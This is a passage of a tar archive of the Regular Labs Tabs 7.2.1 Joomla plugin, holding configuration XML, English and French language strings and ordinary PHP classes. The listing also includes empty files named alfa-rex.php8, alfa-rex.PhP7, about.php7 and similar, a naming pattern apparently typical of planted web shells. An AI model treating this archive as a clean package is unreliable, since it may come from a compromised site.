				<field name="@notice_load_bootstrap_framework" type="note" class="alert alert-danger" description="RL_BOOTSTRAP_FRAMEWORK_DISABLED,TABS" />
				<field name="@toggler_load_bootstrap_framework_b" type="rl_toggler" />
				<field name="@toggler_load_bootstrap_framework_2a" type="rl_toggler" param="load_bootstrap_framework" value="0" />
				<field name="load_jquery" type="radio" class="btn-group" default="0"
					   label="RL_LOAD_JQUERY"
					   description="RL_LOAD_JQUERY_DESC">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="@toggler_load_jquery_a" type="rl_toggler" param="load_jquery" value="0" />
				<field name="@notice_load_jquery" type="note" class="alert alert-danger"
					   description="RL_JQUERY_DISABLED,TABS" />
				<field name="@toggler_load_jquery_b" type="rl_toggler" />
				<field name="@toggler_load_bootstrap_framework_2b" type="rl_toggler" />
			</fieldset>

			<fieldset name="RL_SETTINGS_EDITOR_BUTTON">
				<field name="button_text" type="text" default="Tabs"
					   label="RL_BUTTON_TEXT"
					   description="RL_BUTTON_TEXT_DESC" />
				<field name="enable_frontend" type="radio" class="btn-group" default="1"
					   label="RL_ENABLE_IN_FRONTEND"
					   description="RL_ENABLE_IN_FRONTEND_DESC">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="button_use_simple_button" type="radio" class="btn-group" default="0"
					   label="RL_USE_SIMPLE_BUTTON"
					   description="RL_USE_SIMPLE_BUTTON_DESC">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="@toggler_button_use_simple_button_no_a" type="rl_toggler" param="button_use_simple_button" value="0" />
				<field name="button_max_count" type="list" class="input-mini" default="10"
					   label="TAB_MAX_TAB_COUNT"
					   description="TAB_MAX_TAB_COUNT_DESC">
					<option value="5">5</option>
					<option value="10">10</option>
					<option value="20">20</option>
					<option value="30">30</option>
				</field>
				<field name="@toggler_button_use_simple_button_no_b" type="rl_toggler" />
				<field name="@toggler_button_use_simple_button_yes_a" type="rl_toggler" param="button_use_simple_button" value="1" />
				<field name="button_use_custom_code" type="radio" class="btn-group" default="0"
					   label="RL_USE_CUSTOM_CODE"
					   description="RL_USE_CUSTOM_CODE_DESC">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="@toggler_button_code_a" type="rl_toggler" param="button_use_custom_code" value="1" />
				<field name="button_custom_code" type="rl_textareaplus" filter="RAW" texttype="html" width="400" height="300"
					   default="{tab Tab Title 1}&lt;br />[:SELECTION:]&lt;br />{tab Tab Title 2}&lt;br />Tab text...&lt;br />{/tabs}"
					   label="RL_CUSTOM_CODE"
					   description="RL_CUSTOM_CODE_DESC" />
				<field name="@toggler_button_code_b" type="rl_toggler" />
				<field name="@toggler_button_use_simple_button_yes_b" type="rl_toggler" />
			</fieldset>
		</fields>
	</config>
</extension>
                                 system/tabs/language/en-GB/en-GB.plg_system_tabs.ini                                                0000705                 00000016050 15242051521 0016260 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ;; @package         Tabs
;; @version         7.2.1
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2018 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See: https://www.regularlabs.com/translate

PLG_SYSTEM_TABS="System - Regular Labs - Tabs"
PLG_SYSTEM_TABS_DESC="Tabs - make content tabs in Joomla!"
TABS="Tabs"

INSERT_TABS="Insert Tabs"
TABS_DESC="With Tabs you can make content tabs anywhere in Joomla!<br><br>You can use the editor button to place an example tab block. The syntax simply looks like:<br><span class=&quot;rl_code&quot;>{tab Tab Title 1}<br>Your text...<br>{tab Tab Title 2}<br>Your text...<br>{/tabs}</span><br><br>To add an extra class to a tab (for styling purposes), you can do:<br><span class=&quot;rl_code&quot;>{tab Tab Title 1&#124;myclass}</span><br>Tabs&#39;s stylesheet comes with styling for the classes blue, green and grey."

TAB_EXTENSION_CAN_NOT_FUNCTION="[[%1:extension name%]] cannot function."
TAB_REGULAR_LABS_LIBRARY_NOT_ENABLED="Regular Labs Library plugin is not enabled."
TAB_REGULAR_LABS_LIBRARY_NOT_INSTALLED="Regular Labs Library plugin is not installed."
TAB_REGULAR_LABS_LIBRARY_OUTDATED="Regular Labs Library plugin is outdated. Try to re-install [[%1:extension name%]]."

TAB_ALIAS_DESC="Optionally give the tab an alias if you want it to be different than the one Tabs generates based on the title."
TAB_ALIGNMENT_HANDLES="Alignment Handles"
TAB_ALIGNMENT_HANDLES_DESC="Select the alignment of the handles. Option 'Auto' will align the handles left or right based on the language settings."
TAB_CLICK="Click"
TAB_CLOSING_TAG="Closing Tag"
TAB_CLOSING_TAG_DESC="The word used for the closing tag for tabs.<br><br>By default this is 'tabs'. So an closing tag looks like:<br><span class=&quot;rl_code&quot;>{/tabs}</span><br><br>You can change the word if you are using another plugin that uses this tag syntax."
TAB_COLOR_INACTIVE_HANDLES="Color Inactive Handles"
TAB_COLOR_INACTIVE_HANDLES_DESC="Select to have a grey background for the non-active tab handles."
TAB_CONTENT_DESC="You can edit the content of the tab after it has been inserted into the editor."
TAB_DEFAULT="Opened by Default"
TAB_DEFAULT_DESC="Select to make this tab opened by default. You need to set one tab per tab as the default."
TAB_ERROR_EMPTY_TITLE="Please give at least the first tab a title."
TAB_FADE="Fade"
TAB_FADE_DESC="Select to enable fading of the content when switching between tabs."
TAB_HOVER="Hover"
TAB_INIT_TIMEOUT="Initialise Delay"
TAB_INIT_TIMEOUT_DESC="Set the delay in milliseconds to initialise the Tabs script after pageload. You can use this to make Tabs initialise after other scripts that may require this to function."
TAB_MAIN_CLASS="Main Class"
TAB_MAIN_CLASS_DESC="Optionally add extra class names to the main Tabs container."
TAB_MAX_TAB_COUNT="Maximum number of Tabs"
TAB_MAX_TAB_COUNT_DESC="Set the maximum number of tabs shown in the editor button popup window. Increasing this number can cause that window to take longer to load."
TAB_MODE="Mode"
TAB_MODE_DESC="Select whether the tabs should change on mouse click or hover."
TAB_NESTED_ID="Nested Set ID"
TAB_NESTED_ID_DESC="Give the nested set an id. This should not be the same as any other nested set within the same parent tab."
TAB_NESTED_SET="Handle as Nested Set"
TAB_NESTED_SET_DESC="Select if this is a set inside another tab set"
TAB_OLD="Old School"
TAB_OPENING_TAG="Opening Tag"
TAB_OPENING_TAG_DESC="The word used for the opening tags for tabs.<br><br>By default this is 'tab'. So an opening tag looks like:<br><span class=&quot;rl_code&quot;>{tab My Tab Title}</span><br><br>You can change the word if you are using another plugin that uses this tag syntax."
TAB_OUTLINE="Use outline"
TAB_OUTLINE_CONTENT="Outline Content"
TAB_OUTLINE_CONTENT_DESC="Select to have a border and padding around the content."
TAB_OUTLINE_HANDLES="Outline Handles"
TAB_OUTLINE_HANDLES_DESC="Select to have a border around the tab handles."
TAB_POSITIONING_HANDLES="Positioning Handles"
TAB_POSITIONING_HANDLES_DESC="Select the positioning (placement) of the handles."
TAB_RELOAD_IFRAMES="Reload Iframes"
TAB_RELOAD_IFRAMES_DESC="Select to make the iframes reload the first time the tab it is in gets activated. Only use this when you have iframes that cause issues when loaded in closed tabs."
TAB_SAVE_COOKIES="Save Cookies"
TAB_SAVE_COOKIES_DESC="If selected, the active tabs will be stored in the cookies. Enable this if you want to use this information in other custom scripts."
TAB_SCROLL="Scroll to Top"
TAB_SCROLL_BY_URL="Scroll by URL"
TAB_SCROLL_BY_URL_DESC="If selected, the window will scroll to the top of the tabs when a tab is opened via the URL. You can overrule this option by adding a minus (-) to the end of the tab name in the URL.<br><br>If not selected, you can overrule this and make the page scroll by adding a plus (+) to the end of the tab name in the URL."
TAB_SCROLL_DESC="If selected, the window will scroll to the top of the tabs when a tab is opened."
TAB_SCROLL_LINKS="Scroll on Links"
TAB_SCROLL_LINKS_DESC="If selected, the window will scroll to the top of the tabs when a tab is opened via a link."
TAB_SCROLL_OFFSET="Scroll offset"
TAB_SCROLL_OFFSET_DESC="The scroll offset in pixels. If this is set to a negative number, the browser will scroll to a point above the tab. This can be useful when your website has a floating top menu."
TAB_SCROLL_OFFSET_MOBILE="Scroll offset (mobile)"
TAB_SET_SETTINGS="Tab Set Settings"
TAB_SLIDESHOW="Slideshow"
TAB_SLIDESHOW_DESC="Select to make the tabs automatically open one-by-one using the default or given timeout."
TAB_SLIDESHOW_TIMEOUT="Slideshow Interval"
TAB_SLIDESHOW_TIMEOUT_DESC="The time each tab should show before going to the next tab (in milliseconds)."
TAB_STOP_SLIDESHOW_ON_CLICK="Stop on click"
TAB_STOP_SLIDESHOW_ON_CLICK_DESC="Select to make the slideshow stop when clicking on one of the tab handles."
TAB_SYNTAX_IS="{tab=Tab Title}"
TAB_SYNTAX_SPACE="{tab Tab Title}"
TAB_TAB_NUMBER="Tab [[%1:number%]]"
TAB_TAG_SYNTAX_DESC="Select whether to use a space or '=' in the tags to separate the tag name from the title. This also affects the link tags."
TAB_TITLE_EMPTY="Only tabs that have a title will be used."
TAB_TITLE_TAG="Title tag"
TAB_TITLE_TAG_DESC="This is the tag type used for the tab titles. These tags will be hidden when the slides are generated, but will be visible on pages where the tabs are not handled (like on the print page or on browsers that do not support javascript)."
TAB_USE_COOKIES="Use Cookies"
TAB_USE_COOKIES_DESC="If selected, the active tabs will be stored in the cookies and will remain active when page is revisited."
TAB_USE_HASH="Use Hash"
TAB_USE_HASH_DESC="If selected, the active tab can be set via the hash fragment in the URL (#my-tab-title) and will be added to the URL when a tab is activated"
TAB_USE_RESPONSIVE_VIEW="Use alternative mobile view"
TAB_USE_RESPONSIVE_VIEW_DESC="Select to change the tabs to a stacked navigation list on mobile width screens."
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        system/tabs/language/en-GB/en-GB.plg_system_tabs.sys.ini                                            0000705                 00000001010 15242051521 0017063 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ;; @package         Tabs
;; @version         7.2.1
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2018 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See: https://www.regularlabs.com/translate

PLG_SYSTEM_TABS="System - Regular Labs - Tabs"
PLG_SYSTEM_TABS_DESC="Tabs - make content tabs in Joomla!"
TABS="Tabs"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        system/tabs/language/fr-FR/fr-FR.plg_system_tabs.ini                                                0000705                 00000024142 15242051521 0016331 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ;; @package         Tabs
;; @version         7.2.1
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2018 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See: https://www.regularlabs.com/translate
;;
;; @translation     Traduction par : Pierre Cabrol <p.cabrol@midiconcept.fr> MidiConcept, Marc Antoine Thevenet <mat@idimweb.com> IDIMweb (idimweb.com), Mihàly Marti <info@sarki.ch> Sarki (sarki.ch)

PLG_SYSTEM_TABS="Système - Panneaux à onglets Regular Labs"
PLG_SYSTEM_TABS_DESC="Le plug-in système Tabs permet de créer/insérer des panneaux à onglets (tabs) dans tous les contenus Joomla!"
TABS="Onglets"

INSERT_TABS="Insérer un panneau à onglets"
TABS_DESC="Le plug-in système Tabs de Regular Labs vous permet de créer/insérer des panneaux à onglets (tabs) dans tous les contenus Joomla tels les descriptions de catégorie, les articles, les modules personnalisés, et tout autre composant ayant une zone d'éditeur.<br><br>Vous pouvez insérer les panneaux à onglets à l'aide du bouton sous l'éditeur ou, en insérant les balises manuellement.<br>La syntaxe des panneaux à onglets prend cette forme&nbsp;:<br><span class=&quot;rl_code&quot;>{tab Titre 1}<br>Votre texte...<br>{tab Titre 2}<br>Votre texte...<br>{/tabs}</span><br><br>D'autres attributs peuvent être appliqués aux onglets. Consultez le site officiel de l'extension par le lien ci-dessous pour en savoir plus."

TAB_EXTENSION_CAN_NOT_FUNCTION="[[%1:extension name%]] ne peut pas fonctionner."
TAB_REGULAR_LABS_LIBRARY_NOT_ENABLED="Le plugin Regular Labs Library n'est pas activé."
TAB_REGULAR_LABS_LIBRARY_NOT_INSTALLED="Le plugin Regular Labs Library n'est pas installé."
TAB_REGULAR_LABS_LIBRARY_OUTDATED="Le plugin de la bibliothèque Regular Labs est obsolète. Essayez de réinstaller [[%1:extension name%]]."

TAB_ALIAS_DESC="Vous pouvez attribuer un alias à l'onglet si vous voulez qu'il soit différent de celui généré sur la base du titre."
TAB_ALIGNMENT_HANDLES="Alignement des onglets"
TAB_ALIGNMENT_HANDLES_DESC="Sélectionnez l'alignement des onglets.<br>'Auto' aligne les onglets à gauche ou à droite en fonction des paramètres de langue.<br>Justifié aligne les onglets en fonction des paramètres de langue en les justifiant à la largeur totale du panneau."
TAB_CLICK="Clic"
TAB_CLOSING_TAG="Identifiant de fermeture"
TAB_CLOSING_TAG_DESC="Mot utilisé comme identifiant de la balise de fermeture des panneaux à onglets, 'tabs' par défaut. Vous pouvez changer ce mot si un autre plug-in l'utilise déjà pour la syntaxe de ses balises.<br>Exemple des balises d'un panneau à 2 onglets :<br><span class=&quot;rl_code&quot;>{tab Onglet 1}</span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Le contenu de l'onglet 1<br><span class=&quot;rl_code&quot;>{tab Onglet 2}</span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Le contenu de l'onglet 2<br><span class=&quot;rl_code&quot;>{/tabs}</span>"
TAB_COLOR_INACTIVE_HANDLES="Couleur d'onglets inactifs"
TAB_COLOR_INACTIVE_HANDLES_DESC="En sélectionnant 'Oui', un fond gris est appliqué aux onglets fermés."
TAB_CONTENT_DESC="Vous pouvez modifier le contenu de l'onglet après l'avoir inséré dans l'éditeur."
TAB_DEFAULT="Ouvert par défaut"
TAB_DEFAULT_DESC="Sélectionnez ce paramètre pour ouvrir cet onglet par défaut. Vous devez définir un onglet par défaut."
TAB_ERROR_EMPTY_TITLE="Veuillez donner au moins un titre au premier onglet."
TAB_FADE="Fondu de tansition"
TAB_FADE_DESC="Sélectionnez 'Oui' pour activer un effet de fondu lors de la transition d'un onglet à l'autre."
TAB_HOVER="Survol"
TAB_INIT_TIMEOUT="Initialisation du script"
TAB_INIT_TIMEOUT_DESC="Vous pouvez définir ici un délai en millisecondes avant l'initialisation du script des panneaux à onglets si, pour une raison de bon fonctionnement, vous devez laisser d'autres scripts s'initialiser en premier. Vous pouvez par exemple indiquer le temps calculé du chargement de la page."
TAB_MAIN_CLASS="Classes supplémentaires"
TAB_MAIN_CLASS_DESC="Vous pouvez ajouter un ou plusieurs noms de classe à appliquer à la div principale des panneaux à onglets (tabs). L'ajout d'une nouvelle classe permet de personnaliser les styles des classes de l'extension, en reprenant ces mêmes classes précédées de celle(s) ajoutée(s) dans un fichier CSS chargé dans la page."
TAB_MAX_TAB_COUNT="Nombre d'onglets proposés"
TAB_MAX_TAB_COUNT_DESC="Définissez le nombre d'onglets affichés dans la fenêtre des paramètres d'insertion disponible lors d'un clic du bouton placé sous l'éditeur. Attention, un nombre important d'onglets peut entraîner un chargement plus long de la fenêtre."
TAB_MODE="Élément de transition"
TAB_MODE_DESC="Sélectionner l'élément devant déclencher la transition entre les onglets&nbsp;: le clic ou le survol de souris sur l'onglet."
TAB_NESTED_ID="Id du lot imbiqué"
TAB_NESTED_ID_DESC="Donnez à cet ensemble imbriqué un id unique (ne doit pas être le même que tout autre ensemble imbriqué dans le même onglet parent)."
TAB_NESTED_SET="Définir comme lot imbriqué"
TAB_NESTED_SET_DESC="Sélectionnez ce paramètre si l'ensemble de ces panneaux à onglets se trouvent dans un autre ensemble de panneaux à onglets"
TAB_OLD="Vieille école"
TAB_OPENING_TAG="Identifiant d'ouverture"
TAB_OPENING_TAG_DESC="Mot utilisé comme identifiant de la balise d'ouverture des panneaux à onglets, 'tab' par défaut. Vous pouvez changer ce mot si un autre plug-in l'utilise déjà pour la syntaxe de ses balises.<br>Exemple des balises d'un panneau à 2 onglets :<br><span class=&quot;rl_code&quot;>{tab Onglet 1}</span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Le contenu de l'onglet 1<br><span class=&quot;rl_code&quot;>{tab Onglet 2}</span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Le contenu de l'onglet 2<br><span class=&quot;rl_code&quot;>{/tabs}</span>"
TAB_OUTLINE="Afficher les contours"
TAB_OUTLINE_CONTENT="Contour des panneaux"
TAB_OUTLINE_CONTENT_DESC="Sélectionnez 'Oui' si vous souhaitez attribuer une bordure à la zone de contenu."
TAB_OUTLINE_HANDLES="Contour des onglets"
TAB_OUTLINE_HANDLES_DESC="Sélectionnez 'Oui' si vous souhaitez attribuer une bordure aux onglets."
TAB_POSITIONING_HANDLES="Position des onglets"
TAB_POSITIONING_HANDLES_DESC="Sélectionnez le positionnement (placement) des onglets&nbsp;: haut, bas, gauche ou droite du panneau."
TAB_RELOAD_IFRAMES="Recharger les iframes"
TAB_RELOAD_IFRAMES_DESC="Sélectionnez 'Oui' pour que les iframes soient rechargées lors de leur premier affichage (onglet activé) si elles ne s'affichent pas correctement après chargement dans des onglets fermés."
TAB_SAVE_COOKIES="Cookies - Onglets actifs"
TAB_SAVE_COOKIES_DESC="Sélectionnez 'Oui' pour que les onglets actifs soient mémorisés par des cookies. Activez cette option si vous souhaitez utiliser ces informations dans des scripts personnalisés."
TAB_SCROLL="Défilement de fenêtre"
TAB_SCROLL_BY_URL="Défilement par URL complète"
TAB_SCROLL_BY_URL_DESC="Sélectionnez 'Oui' si vous souhaitez que la fenêtre défile vers le haut des onglets lorsqu'un onglet est ouvert via son URL complète.<br>Vous pouvez annuler cette option en ajoutant un signe moins (-) dans l'URL à la fin du nom de l'onglet."
TAB_SCROLL_DESC="Sélectionnez 'Oui' si vous souhaitez que la fenêtre défile vers le haut des onglets lorsqu'un onglet est ouvert."
TAB_SCROLL_LINKS="Défilement par lien d'ancre"
TAB_SCROLL_LINKS_DESC="Sélectionnez 'Oui' si vous souhaitez que la fenêtre défile vers le haut des onglets lorsqu'un onglet est ouvert via un lien dans la même page (ancre)."
TAB_SCROLL_OFFSET="Défilement compensé (ordi)"
TAB_SCROLL_OFFSET_DESC="Vous pouvez appliquer un décalage en pixels au défilement de la fenêtre sur les onglets. Par exemple, si ce paramètre est réglé sur un nombre négatif comme -20px, le navigateur va défiler jusqu'à 20 pixels au-dessus des onglets. Un décalage négatif peut s'avérer utile lorsque votre site dispose d'un menu haut fixe (ne défilant pas avec la fenêtre) pouvant couvrir les panneaux à onglets."
TAB_SCROLL_OFFSET_MOBILE="Défilement compensé (mobile)"
TAB_SET_SETTINGS="Paramètres de la série d'onglets"
TAB_SLIDESHOW="Diaporama"
TAB_SLIDESHOW_DESC="Sélectionnez cette option pour que les onglets s'ouvrent automatiquement un par un à l'aide de la valeur par défaut ou délai donné."
TAB_SLIDESHOW_TIMEOUT="Durée d'affichage"
TAB_SLIDESHOW_TIMEOUT_DESC="Durée d'affichage de chaque onglet avant de passer au suivant (en millisecondes)."
TAB_STOP_SLIDESHOW_ON_CLICK="Stopper au clic"
TAB_STOP_SLIDESHOW_ON_CLICK_DESC="Sélectionnez 'Oui' si vous souhaitez que le défilement du diaporama stoppe lors d'un clic sur l'un des onglets."
TAB_SYNTAX_IS="{tab=Titre d'onglet}"
TAB_SYNTAX_SPACE="{tab Titre d'onglet}"
TAB_TAB_NUMBER="Onglet [[%1:number%]]"
TAB_TAG_SYNTAX_DESC="Choisissez entre un espace &nbsp;&nbsp; et le caractère égal &nbsp;=&nbsp; le type de séparation à utiliser entre l'identifiant et le titre dans la syntaxe des balises d'ouverture. S'applique également aux URLs."
TAB_TITLE_EMPTY="Seuls les onglets qui ont un titre seront utilisés."
TAB_TITLE_TAG="Balise de titre (affichage brut)"
TAB_TITLE_TAG_DESC="Indiquez la balise à appliquer aux titres lorsque l'affichage des onglets est désactivé tel sur les pages d'impression ou, lorsque JavaScript est désactivé."
TAB_USE_COOKIES="Cookies - État des onglets"
TAB_USE_COOKIES_DESC="Sélectionnez 'Oui' pour que l'état des onglets (ouverts, fermés) soient mémorisé par des cookies. Cela permet de retrouver les onglets dans une page revisitée tels qu'ils étaient lorsque vous avez quitté la page."
TAB_USE_HASH="Hachage dans l'URL"
TAB_USE_HASH_DESC="Sélectionnez 'Oui' si vous souhaitez que l'onglet actif puisse être sélectionné via un fragment de hachage dans l'URL (...#titre). Si 'Oui', le hachage avec le titre est ajouté à l'URL lorsqu'un onglet est activé."
TAB_USE_RESPONSIVE_VIEW="Affichage alternatif pour mobile"
TAB_USE_RESPONSIVE_VIEW_DESC="Sélectionnez 'Oui' si vous souhaitez remplacer les onglets par une liste de navigation empilée sur les écrans des appareils mobiles (smartphone/tablette)."
                                                                                                                                                                                                                                                                                                                                                                                                                              system/tabs/language/fr-FR/fr-FR.plg_system_tabs.sys.ini                                            0000705                 00000001462 15242051521 0017146 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ;; @package         Tabs
;; @version         7.2.1
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2018 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See: https://www.regularlabs.com/translate
;;
;; @translation     Traduction par : Pierre Cabrol <p.cabrol@midiconcept.fr> MidiConcept, Marc Antoine Thevenet <mat@idimweb.com> IDIMweb (idimweb.com), Mihàly Marti <info@sarki.ch> Sarki (sarki.ch)

PLG_SYSTEM_TABS="Système - Panneaux à onglets Regular Labs"
PLG_SYSTEM_TABS_DESC="Le plug-in système Tabs permet de créer/insérer des panneaux à onglets (tabs) dans tous les contenus Joomla!"
TABS="Onglets"
                                                                                                                                                                                                              system/tabs/alfa-rex.php56                                                                          0000644                 00000000000 15242051521 0011367 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       system/tabs/alfa-rex.PHP                                                                            0000644                 00000000000 15242051521 0011054 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       system/tabs/alfa-rex.php8                                                                           0000644                 00000000000 15242051521 0011304 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       system/tabs/index.php                                                                               0000644                 00000000000 15242051521 0010624 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       system/tabs/alfa-rex.PhP7                                                                           0000644                 00000000000 15242051521 0011203 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       system/tabs/about.php                                                                               0000644                 00000000000 15242051521 0010627 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       system/tabs/about.php7                                                                              0000644                 00000000000 15242051521 0010716 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       system/tabs/script.install.php                                                                      0000705                 00000001255 15242051521 0012501 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package         Tabs
 * @version         7.2.1
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2018 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

defined('_JEXEC') or die;

require_once __DIR__ . '/script.install.helper.php';

class PlgSystemTabsInstallerScript extends PlgSystemTabsInstallerScriptHelper
{
	public $name           = 'TABS';
	public $alias          = 'tabs';
	public $extension_type = 'plugin';

	public function uninstall($adapter)
	{
		$this->uninstallPlugin($this->extname, 'editors-xtd');
	}
}
                                                                                                                                                                                                                                                                                                                                                   system/tabs/src/Clean.php                                                                           0000705                 00000001570 15242051521 0011341 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package         Tabs
 * @version         7.2.1
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2018 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

namespace RegularLabs\Plugin\System\Tabs;

defined('_JEXEC') or die;

use RegularLabs\Library\Protect as RL_Protect;

class Clean
{
	/**
	 * Just in case you can't figure the method name out: this cleans the left-over junk
	 */
	public static function cleanLeftoverJunk(&$string)
	{
		$params = Params::get();

		Protect::unprotectTags($string);

		RL_Protect::removeFromHtmlTagContent($string, Params::getTags(true));
		RL_Protect::removeInlineComments($string, 'Tabs');

		if ( ! $params->place_comments)
		{
			RL_Protect::removeCommentTags($string, 'Tabs');
		}
	}
}
                                                                                                                                        system/tabs/src/Protect.php                                                                         0000705                 00000002611 15242051521 0011734 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package         Tabs
 * @version         7.2.1
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2018 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

namespace RegularLabs\Plugin\System\Tabs;

defined('_JEXEC') or die;

use RegularLabs\Library\Protect as RL_Protect;

class Protect
{
	static $name = 'Tabs';

	public static function _(&$string)
	{
		RL_Protect::protectFields($string, Params::getTags(true));
		RL_Protect::protectSourcerer($string);
	}

	public static function protectTags(&$string)
	{
		RL_Protect::protectTags($string, Params::getTags(true));
	}

	public static function unprotectTags(&$string)
	{
		RL_Protect::unprotectTags($string, Params::getTags(true));
	}

	/**
	 * Wrap the comment in comment tags
	 *
	 * @param string $comment
	 *
	 * @return string
	 */
	public static function wrapInCommentTags($comment)
	{
		return RL_Protect::wrapInCommentTags(self::$name, $comment);
	}

	/**
	 * Get the html start comment tags
	 *
	 * @return string
	 */
	public static function getCommentStartTag()
	{
		return RL_Protect::getCommentStartTag(self::$name);
	}

	/**
	 * Get the html end comment tags
	 *
	 * @return string
	 */
	public static function getCommentEndTag()
	{
		return RL_Protect::getCommentEndTag(self::$name);
	}
}
                                                                                                                       system/tabs/src/Document.php                                                                        0000705                 00000003323 15242051521 0012073 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package         Tabs
 * @version         7.2.1
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2018 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

namespace RegularLabs\Plugin\System\Tabs;

defined('_JEXEC') or die;

use JFactory;
use JHtml;
use RegularLabs\Library\Document as RL_Document;

class Document
{
	public static function addHeadStuff()
	{
		// do not load scripts/styles on feeds or print pages
		if (RL_Document::isFeed() || JFactory::getApplication()->input->getInt('print', 0))
		{
			return;
		}

		$params = Params::get();

		if ( ! $params->load_bootstrap_framework && $params->load_jquery)
		{
			JHtml::_('jquery.framework');
		}

		if ($params->load_bootstrap_framework)
		{
			JHtml::_('bootstrap.framework');
		}


		$options = [
			'use_hash'                => (int) $params->use_hash,
			'reload_iframes'          => (int) $params->reload_iframes,
			'init_timeout'            => (int) $params->init_timeout,
			'urlscroll'               => 0,
		];

		RL_Document::scriptOptions($options, 'Tabs');

		RL_Document::script('tabs/script.min.js', ($params->media_versioning ? '7.2.1' : ''));

		if ($params->load_stylesheet)
		{
			RL_Document::stylesheet('tabs/style.min.css', ($params->media_versioning ? '7.2.1' : ''));
		}

	}

	public static function removeHeadStuff(&$html)
	{
		// Don't remove if tabs class is found
		if (strpos($html, 'class="rl_tabs-tab') !== false)
		{
			return;
		}

		// remove style and script if no items are found
		RL_Document::removeScriptsStyles($html, 'Tabs');
		RL_Document::removeScriptsOptions($html, 'Tabs');
	}
}
                                                                                                                                                                                                                                                                                                             system/tabs/src/Helper.php                                                                          0000705                 00000003767 15242051521 0011550 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package         Tabs
 * @version         7.2.1
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2018 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

namespace RegularLabs\Plugin\System\Tabs;

defined('_JEXEC') or die;

use JFactory;
use RegularLabs\Library\Article as RL_Article;
use RegularLabs\Library\Document as RL_Document;
use RegularLabs\Library\Html as RL_Html;

/**
 * Plugin that replaces stuff
 */
class Helper
{
	public function onContentPrepare($context, &$article, &$params)
	{
		$area    = isset($article->created_by) ? 'article' : 'other';
		$context = (($params instanceof \JRegistry) && $params->get('rl_search')) ? 'com_search.' . $params->get('readmore_limit') : $context;

		RL_Article::process($article, $context, $this, 'replaceTags', [$area, $context]);
	}

	public function onAfterDispatch()
	{
		Document::addHeadStuff();

		if ( ! $buffer = RL_Document::getBuffer())
		{
			return;
		}

		if ( ! Replace::replaceTags($buffer, 'component'))
		{
			return;
		}

		RL_Document::setBuffer($buffer);
	}

	public function onAfterRender()
	{
		$html = JFactory::getApplication()->getBody();

		if ($html == '')
		{
			return;
		}

		$params = Params::get();
		list($tag_start, $tag_end) = Params::getTagCharacters();

		if (
			strpos($html, $tag_start . $params->tag_open) === false
			&& strpos($html, 'rl_tabs-scrollto') === false
		)
		{
			Document::removeHeadStuff($html);

			Clean::cleanLeftoverJunk($html);

			JFactory::getApplication()->setBody($html);

			return;
		}

		// only do stuff in body
		list($pre, $body, $post) = RL_Html::getBody($html);
		Replace::replaceTags($body, 'body');
		$html = $pre . $body . $post;

		Clean::cleanLeftoverJunk($html);

		JFactory::getApplication()->setBody($html);
	}

	public function replaceTags(&$string, $area = 'article', $context = '')
	{
		Replace::replaceTags($string, $area, $context);
	}
}
